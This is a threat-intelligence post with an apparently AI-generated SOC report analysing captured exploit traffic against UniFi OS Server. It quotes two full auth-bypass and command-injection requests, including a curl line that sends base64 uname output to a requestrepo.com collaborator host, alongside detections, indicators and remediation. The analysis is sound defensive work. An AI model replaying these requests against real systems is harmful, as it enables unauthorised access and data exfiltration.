Threat Intel
I like to show what LLMs do and don’t do with and without human management, so here’s a near one shot of some honeypot data from Defused. We take two exploit packets and have Claude with Opus 4.8 analyze them. We did give it specific instructions to use the vendor CVE information rather than third party sources.
SOC Report (Claude Generated)
Popping the Edge: An Unauthenticated RCE Chain in UniFi OS Server
SOC triage of in-the-wild probing against Ubiquiti UniFi OS Server — decoding the payload, mapping it to the real SAB-064 CVEs (not the ones the headlines assigned), and turning it into detections.
Our SOC captured automated probing of an internet-facing host using the public UniFi OS Server auth-gateway bypass to reach an internal package-update endpoint and inject shell commands via the pkg_name parameter. The payload is blind-RCE confirmation tradecraft: it runs uname, base64-encodes the output, and exfiltrates it as a DNS/HTTP label to a requestrepo.com out-of-band collaborator.
The bug set is Ubiquiti Security Advisory Bulletin 064 (SAB-064), affecting UniFi OS Server ≤ 5.0.6, fixed in 5.0.8. The single most reliable indicator of a successful hit is an outbound resolution to the collaborator domain in your DNS/egress logs — if the appliance never called out, the command almost certainly never ran.
01 — Observed activity
What hit the sensor
Two near-identical requests, seconds apart, varying only in the recon command and the spoofed Safari user-agent. Both target the same endpoint with the same out-of-band callback host. This is the classic “fire two fingerprints and watch the collaborator” pattern of an automated scanner.
# Request 1 GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl%20http%3A%2F%2F%60uname%20-r%20%7C%20base64%60.h4wiu0w9.requestrepo.com+%3b HTTP/1.1 Host: [redacted] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ... Version/18.3.1 Safari/605.1.15 Connection: close Accept-Encoding: gzip # Request 2 — same, but uname -a GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl%20http%3A%2F%2F%60uname%20-a%20%7C%20base64%60.h4wiu0w9.requestrepo.com+%3b HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; ... 10_11_5) ... Version/9.1.1 Safari/601.6.17
Source IP and Host redacted for this release. UAs are inconsistent OS/Safari version pairings — a tell of scanner spoofing, not a real browser.
02 — Payload decode
From percent-encoding to shell
The request does two separate things in one shot: it bends the URL so the request reaches an endpoint it should never reach unauthenticated, then it smuggles a command into a parameter that gets passed to a shell. Decoding the query string:
Fully decoded, the pkg_name value is:
; curl http://`uname -r | base64`.h4wiu0w9.requestrepo.com ;
The leading and trailing ; break out of whatever command context pkg_name is interpolated into. The backticks run uname -r (kernel release) or uname -a (full kernel/arch string), pipe it through base64, and that encoded string becomes a subdomain label prepended to the collaborator host. When the box performs the lookup / HTTP request, the attacker reads the resolved label off their collaborator dashboard and base64-decodes it to recover the host fingerprint. No output channel back through HTTP is needed — hence “blind.”
03 — Vulnerability analysis
How the request reaches a shell
The access-control bypass (the nginx normalization trap)
UniFi OS fronts its internal services with nginx and enforces authentication using a subrequest. The flaw is a classic parser-differential: the auth check evaluates the raw, percent-encoded URI to decide whether a route is auth-exempt, but nginx selects the upstream backend using the normalized URI — where %2f has decoded to / and the ../ sequences have collapsed.
So a request whose raw URI begins with the public /api/auth/validate-sso/ prefix is waved through as “no auth required,” yet after normalization it routes to the protected internal endpoint:
raw : /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package
|__________ auth sees this prefix -> "public"
normalized: /proxy/users/api/v2/ucs/update/latest_package
|__________ nginx routes here -> internal sink
That is an improper access-control failure. (See the attribution note below — this is not the “path traversal” CVE, despite how it has been widely reported.)
The command-injection sink
The internal package-update handler takes the pkg_name query parameter and passes it into a shell command without adequate validation — improper input validation leading to OS command injection. The shell metacharacters in the decoded payload (; and backticks) are what turn a package name into arbitrary command execution.
From execution to root
Important nuance the headlines flatten: a single request yields code execution as the service account, not root. That account, however, holds passwordless sudo over several system binaries, so escalation to root is trivial as a follow-on step. “Single request → root shell” is shorthand; the accurate model is unauth RCE-as-service-account in one request, root one pivot later.
SAB-064 at a glance
| CVE | Class (per vendor) | CVSS 3.1 | Role in this chain |
|---|---|---|---|
| CVE-2026-34908 | Improper access control | 10.0 | The auth-gateway bypass (raw-vs-normalized URI divergence) — the foothold seen in our traffic |
| CVE-2026-34910 | Improper input validation → command injection | 10.0 | The pkg_name command-injection sink — the RCE (but see attribution note) |
| CVE-2026-34909 | Path traversal → file/account access | 10.0 | A distinct filesystem primitive; not necessarily exercised by the single observed request |
| CVE-2026-33000 | Improper input validation → command injection | 9.1 | A second command-injection bug in the bulletin (credited to “V3rlust”) |
| CVE-2026-34911 | Path traversal → information disclosure | High | Low-priv info disclosure from underlying files |
Disclosed 2026-05-21 (updated 05-22) · reported via HackerOne · ~100k internet-exposed UniFi OS endpoints (Censys), majority US · default mgmt port 11443.
04 — CVE attribution, corrected
The mapping the headlines got wrong
Bishop Fox’s writeup — and the press that echoed it — bundles CVE-2026-34908 + CVE-2026-34909 together as “the auth bypass” and presents a tidy 3-CVE chain. That conflates two different bugs. Map it to the vendor’s own SAB-064 definitions and it doesn’t hold.
Three things to keep straight:
- The bypass we see is access control, not path traversal. Ubiquiti defines 34908 as improper access control and 34909 as a path traversal that reaches files on the underlying OS to access an account. The
..%2fin the captured request is doing URI-route normalization against the nginx auth subrequest — an access-control bypass (34908). It is not reading files off disk, which is what 34909 actually describes. Calling the observed bypass “34908/34909” merges a routing-layer access-control flaw with an unrelated filesystem primitive. - There are two command-injection CVEs, not one. Both CVE-2026-34910 and CVE-2026-33000 are improper-input-validation / command-injection issues in this bulletin. From network telemetry alone we cannot confidently say the
pkg_namesink is 34910 specifically rather than 33000. Treat the sink as “a SAB-064 command injection,” and reserve the exact CVE until you can confirm against the patched diff or the running build. - The vendor never claimed a chain. SAB-064 lists these as independent, each requiring network access. The chaining into single-request unauth RCE is third-party research, not vendor guidance — useful, but a layer of interpretation on top of the CVE facts.
Why this matters operationally: if you’re scoping or patch-prioritising by CVE, the “3-CVE chain” framing can send you hunting for a filesystem path-traversal signature (34909) that the live exploit traffic doesn’t actually produce. The reliable signal is the access-control bypass URI pattern plus the command-injection parameter — independent of which exact CVE numbers the marketing assigned to each step.
05 — Out-of-band tradecraft
Why requestrepo + uname | base64
The payload never tries to read command output over HTTP. It assumes the response body is useless (blind injection) and instead proves execution via a side channel:
- Confirmation of execution. If
h4wiu0w9.requestrepo.comever resolves or is requested, code ran. Full stop. This is the same role Burp Collaborator / interactsh play;requestrepo.comis a free, hosted equivalent with a web dashboard. - Fingerprinting in the same breath. base64-encoding
unameoutput into the subdomain label exfiltrates kernel release/arch without needing a reverse channel — DNS resolution alone carries the data out. Base64 keeps it DNS-label-safe and obfuscates it from casual log review. - Recon before payload. Kernel version/arch tells the operator which second-stage to drop. Two requests (
-rthen-a) is belt-and-braces fingerprinting typical of a mass scanner cataloguing hits, not a hands-on-keyboard operator who has already selected this target.
06 — Assessment
Scanner or targeted? Hit or miss?
Actor model. The inconsistent spoofed UAs, the generic OOB fingerprint payload, and the duplicate-with-variation requests all point to opportunistic mass scanning using a public PoC, rather than a targeted intrusion. That does not lower urgency: opportunistic scanners convert confirmed hits to follow-on exploitation quickly, and an exposed UniFi OS Server is a high-value pivot at the network edge.
Did it land? The request reaching the sensor tells you nothing about success on its own. Resolve it with two facts:
- The response code on the bypass request. A patched 5.0.8+ host rejects the raw-vs-normalized divergence (HTTP 400). A pre-patch host routes through to the handler.
- The collaborator callback — the decider. Search DNS/egress for any lookup or connection to
h4wiu0w9.requestrepo.com(or its subdomains) originating from the appliance. Present → the injection executed and your kernel string left the building. Absent → the command almost certainly did not run (or egress was blocked), which is the outcome you want to confirm, not assume.
07 — Detection & hunting
Find the hit, then find the campaign
Priority 1 — the egress callback (smoking gun)
If you only run one query, run this. Pivot on the collaborator domain across DNS, proxy, and firewall logs. Microsoft Defender / Sentinel DeviceNetworkEvents:
DeviceNetworkEvents | where Timestamp > ago(14d) | where RemoteUrl has "requestrepo.com" or RemoteUrl has "h4wiu0w9" | project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort, ActionType | order by Timestamp asc
For DNS-layer telemetry (Sentinel DnsEvents, Umbrella, Zeek dns.log, or resolver logs), match the query name on requestrepo.com and flag any base64-looking left-most label. Any positive here is a confirmed-execution incident — escalate, isolate, snapshot.
Priority 2 — the bypass URI pattern (web / WAF / proxy logs)
The signature is the auth-exempt prefix followed by encoded traversal into /proxy/. KQL over a proxy/WAF table (adjust column names to your source):
CommonSecurityLog | where TimeGenerated > ago(30d) | where RequestURL has "validate-sso" | where RequestURL has_any ("%2f..%2f", "/../", "..%2f") | where RequestURL has "proxy/users/api/v2/ucs/update/latest_package" | extend hasInjection = RequestURL has_any ("pkg_name=%3b", "pkg_name=;", "%60", "`", "%7c") | project TimeGenerated, SourceIP, DestinationIP, RequestURL, hasInjection | order by TimeGenerated asc
Sigma — portable rule
title: UniFi OS Server Auth-Bypass + Command Injection (SAB-064) logsource: category: webserver detection: bypass: cs-uri-stem|contains: 'validate-sso' cs-uri-stem|contains: - '..%2f' - '/../' sink: cs-uri-query|contains: 'ucs/update/latest_package' inject: cs-uri-query|contains: - 'pkg_name=%3b' - 'pkg_name=;' - '%60' # backtick - '%7c' # pipe condition: bypass and sink and inject level: critical
Suricata — wire signature
alert http any any -> $HOME_NET any (msg:"XSERVUS UniFi OS Server auth-bypass + cmd-injection (SAB-064)"; flow:to_server,established; http.uri; content:"validate-sso"; content:"..%2f"; distance:0; content:"ucs/update/latest_package"; distance:0; pcre:"/pkg_name=(%3b|;|%60|`)/i"; classtype:web-application-attack; priority:1; sid:9008064; rev:1;)
SIDs in the 9xxxxxx range are placeholder/local — renumber to your org’s reserved range before deployment.
Post-exploitation hunt (if a callback fired)
- Children of the package-update / web service process spawning
sh,curl,wget,base64,uname. sudoinvocations by the service account (the passwordless-sudo escalation path).- Outbound to any non-OOB host immediately after the callback — that’s the second-stage fetch.
- New cron/systemd units, SSH authorized_keys changes, or unexpected listeners on the appliance.
08 — Indicators
IOCs & signatures
| Type | Indicator | Note |
|---|---|---|
| OOB callback (domain) | h4wiu0w9.requestrepo.com | Collaborator subdomain in this campaign; confirmed-execution indicator if seen in egress |
| OOB service | *.requestrepo.com | Hosted OOB interaction service; treat egress to it from appliances as suspicious |
| URI pattern | validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package | Auth-bypass → internal package-update sink |
| Param signature | pkg_name=%3b … %60 … %60 … %3b | Command injection with backtick substitution |
| Behavioural | Inconsistent macOS/Safari UA pairings; duplicate requests varying only uname flag | Scanner tell, not a real browser |
The collaborator subdomain label is per-campaign and disposable — block the pattern and the parent service, but don’t treat the specific label as durable. The high-fidelity, lasting detection is the URI bypass pattern + command-injection parameter, plus appliance egress to OOB services generally.
09 — MITRE ATT&CK
Technique mapping
| Tactic | Technique | In this activity |
|---|---|---|
| Reconnaissance | T1595.002 — Active Scanning: Vuln Scanning | Mass probing for the bypass endpoint |
| Initial Access | T1190 — Exploit Public-Facing Application | Auth bypass + command injection on the edge appliance |
| Execution | T1059.004 — Unix Shell | curl/uname/base64 via injected shell |
| Discovery | T1082 — System Information Discovery | uname -r / uname -a kernel fingerprint |
| Privilege Escalation | T1548.003 — Sudo and Sudo Caching | Passwordless sudo on the service account → root |
| Exfiltration | T1048.003 — Exfil Over Alternative Protocol (DNS) | base64 label to OOB collaborator |
| Command & Control | T1071.004 — Application Layer Protocol: DNS | OOB interaction channel |
10 — Remediation
What to do
- Patch to UniFi OS Server 5.0.8 or later. The fix adds an nginx raw-vs-normalized URI comparison (closing the access-control bypass) and input validation on the package-update path (closing the injection).
- Get it off the internet. The management plane should not be directly exposed; place it behind VPN/ZTNA and restrict the mgmt port (default
11443). - Constrain appliance egress. Edge devices rarely need arbitrary outbound internet. Default-deny egress neutralises OOB confirmation and second-stage retrieval.
- If a callback fired: treat as confirmed compromise — isolate, snapshot for forensics, hunt the post-exploitation items above, and assume the service account (and via sudo, root) is owned until proven otherwise.
- Validate exposure with Bishop Fox’s safe, non-exploitative detector (sends a benign probe, executes no command) before and after patching.
11 — References
Sources
- Ubiquiti — Security Advisory Bulletin 064 (authoritative CVE definitions)
- Bishop Fox — UniFi OS Server unauth RCE chain analysis
- Bishop Fox — safe detection script (GitHub)
- BleepingComputer — coverage · SC Media — coverage
- CVE-2026-34908 / -34909 / -34910 / -33000 / -34911 — NVD
Per-CVE technical attribution in third-party reporting is inconsistent (see section 04). Where this brief assigns a step to a CVE, it follows the vendor’s SAB-064 class definitions and flags residual uncertainty rather than asserting a confidence the public data doesn’t support.
Prepared for defensive use. Indicators and detections are provided for SOC triage, hunting, and patch validation. Exploitation signatures herein describe attacker behaviour for the purpose of detection and remediation only. TLP:CLEAR — distribution unrestricted. © 2026 Xservus Limited.







